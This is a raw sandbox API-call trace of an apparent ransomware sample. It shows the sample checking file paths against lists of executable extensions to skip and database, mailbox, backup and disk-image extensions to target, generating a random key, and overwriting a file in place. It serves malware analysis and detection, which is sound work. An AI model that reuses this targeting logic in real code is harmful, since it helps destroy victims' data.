	[0066.462] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7c78 | out: hHeap=0x300000) returned 1
	[0066.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7be0 | out: hHeap=0x300000) returned 1
	[0066.463] RtlWakeConditionVariable () returned 0x365f70
	[0066.463] GetCurrentThreadId () returned 0x3a4
	[0066.463] GetCurrentThreadId () returned 0x3a4
	[0066.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0066.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ea68 | out: hHeap=0x300000) returned 1
	[0066.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0066.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7c78
	[0066.463] lstrlenW (lpString=".scr") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0066.463] lstrlenW (lpString=".cmd") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0066.463] lstrlenW (lpString=".dll") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0066.463] lstrlenW (lpString=".bat") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0066.463] lstrlenW (lpString=".cpl") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0066.463] lstrlenW (lpString=".sys") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0066.463] lstrlenW (lpString=".msc") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0066.463] lstrlenW (lpString=".com") returned 4
	[0066.463] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0066.463] lstrlenW (lpString=".lnk") returned 4
	[0066.464] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0066.464] lstrlenW (lpString=".msp") returned 4
	[0066.464] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0066.464] lstrlenW (lpString=".pif") returned 4
	[0066.464] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0066.464] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.464] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0066.464] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7c78 | out: hHeap=0x300000) returned 1
	[0066.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7be0 | out: hHeap=0x300000) returned 1
	[0066.464] RtlWakeConditionVariable () returned 0x365f70
	[0066.464] GetCurrentThreadId () returned 0x3a4
	[0066.464] GetCurrentThreadId () returned 0x3a4
	[0066.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0066.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0066.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0066.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6b20
	[0066.465] lstrlenW (lpString=".scr") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0066.465] lstrlenW (lpString=".cmd") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0066.465] lstrlenW (lpString=".dll") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0066.465] lstrlenW (lpString=".bat") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0066.465] lstrlenW (lpString=".cpl") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0066.465] lstrlenW (lpString=".sys") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0066.465] lstrlenW (lpString=".msc") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0066.465] lstrlenW (lpString=".com") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0066.465] lstrlenW (lpString=".lnk") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0066.465] lstrlenW (lpString=".msp") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0066.465] lstrlenW (lpString=".pif") returned 4
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0066.465] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.465] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0066.466] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0066.466] lstrlenW (lpString=".sqb") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0066.466] lstrlenW (lpString=".ost") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0066.466] lstrlenW (lpString=".txt") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0066.466] lstrlenW (lpString=".mdt") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0066.466] lstrlenW (lpString=".BDB") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0066.466] lstrlenW (lpString=".eql") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0066.466] lstrlenW (lpString=".DBF") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0066.466] lstrlenW (lpString=".EQL") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0066.466] lstrlenW (lpString=".FDB") returned 4
	[0066.466] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0066.467] lstrlenW (lpString=".EDB") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0066.467] lstrlenW (lpString=".DACPAC") returned 7
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0066.467] lstrlenW (lpString=".VHD") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0066.467] lstrlenW (lpString=".DBV") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0066.467] lstrlenW (lpString=".dacpac") returned 7
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0066.467] lstrlenW (lpString=".sdf") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0066.467] lstrlenW (lpString=".accdb") returned 6
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0066.467] lstrlenW (lpString=".DBX") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0066.467] lstrlenW (lpString=".MDT") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0066.467] lstrlenW (lpString=".SQB") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0066.467] lstrlenW (lpString=".vhd") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0066.467] lstrlenW (lpString=".bac") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0066.467] lstrlenW (lpString=".mdf") returned 4
	[0066.467] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0066.467] lstrlenW (lpString=".BAK") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0066.468] lstrlenW (lpString=".BAC") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0066.468] lstrlenW (lpString=".dbs") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0066.468] lstrlenW (lpString=".vhdx") returned 5
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0066.468] lstrlenW (lpString=".NDF") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0066.468] lstrlenW (lpString=".dat") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0066.468] lstrlenW (lpString=".DBS") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0066.468] lstrlenW (lpString=".CKP") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0066.468] lstrlenW (lpString=".edb") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0066.468] lstrlenW (lpString=".PST") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0066.468] lstrlenW (lpString=".dbf") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0066.468] lstrlenW (lpString=".SQL") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0066.468] lstrlenW (lpString=".pst") returned 4
	[0066.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0066.468] lstrlenW (lpString=".dbv") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0066.469] lstrlenW (lpString=".SDF") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0066.469] lstrlenW (lpString=".dtxs") returned 5
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0066.469] lstrlenW (lpString=".db3") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0066.469] lstrlenW (lpString=".OST") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0066.469] lstrlenW (lpString=".dbx") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0066.469] lstrlenW (lpString=".DB3") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0066.469] lstrlenW (lpString=".DAT") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0066.469] lstrlenW (lpString=".VHDX") returned 5
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0066.469] lstrlenW (lpString=".ndf") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0066.469] lstrlenW (lpString=".DB") returned 3
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0066.469] lstrlenW (lpString=".sql") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0066.469] lstrlenW (lpString=".MYD") returned 4
	[0066.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0066.470] lstrlenW (lpString=".DBT") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0066.470] lstrlenW (lpString=".ACCDB") returned 6
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0066.470] lstrlenW (lpString=".fdb") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0066.470] lstrlenW (lpString=".bak") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0066.470] lstrlenW (lpString=".myd") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0066.470] lstrlenW (lpString=".DTXS") returned 5
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0066.470] lstrlenW (lpString=".ckp") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0066.470] lstrlenW (lpString=".dbt") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0066.470] lstrlenW (lpString=".db") returned 3
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0066.470] lstrlenW (lpString=".TXT") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0066.470] lstrlenW (lpString=".MDF") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0066.470] lstrlenW (lpString=".bdb") returned 4
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0066.470] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0066.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0066.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0066.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0066.471] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0066.472] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0066.472] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0066.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0066.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0066.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0066.472] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=18646240210) returned 1
	[0066.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x94ae1a30, dwHighDateTime=0x1d60e1e)) 
	[0066.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0066.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0066.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0066.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0066.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0066.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0066.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0066.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0066.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6a78
	[0066.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0066.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0066.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0066.473] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0066.473] GetLastError () returned 0x0
	[0066.473] SetLastError (dwErrCode=0x0) 
	[0066.473] GetLastError () returned 0x0
	[0066.473] SetLastError (dwErrCode=0x0) 
	[0066.473] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0066.473] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.474] SetLastError (dwErrCode=0x0) 
	[0066.474] GetLastError () returned 0x0
	[0066.475] SetLastError (dwErrCode=0x0) 
	[0066.475] GetLastError () returned 0x0
	[0066.475] SetLastError (dwErrCode=0x0) 
	[0066.475] GetLastError () returned 0x0
	[0066.475] SetLastError (dwErrCode=0x0) 
	[0066.475] GetLastError () returned 0x0
	[0066.475] SetLastError (dwErrCode=0x0) 
	[0066.475] GetLastError () returned 0x0
	[0066.475] SetLastError (dwErrCode=0x0) 
	[0066.475] GetLastError () returned 0x0
	[0066.475] SetLastError (dwErrCode=0x0) 
	[0066.475] GetLastError () returned 0x0
	[0066.475] SetLastError (dwErrCode=0x0) 
	[0066.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7be0 | out: hHeap=0x300000) returned 1
	[0066.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b04c8
	[0066.476] ReadFile (in: hFile=0x120, lpBuffer=0x3b04c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b04c8*, lpNumberOfBytesRead=0x24dfec0*=0x978, lpOverlapped=0x0) returned 1
	[0066.641] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff688, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0066.641] WriteFile (in: hFile=0x120, lpBuffer=0x3b04c8*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b04c8*, lpNumberOfBytesWritten=0x24dfec0*=0x978, lpOverlapped=0x0) returned 1
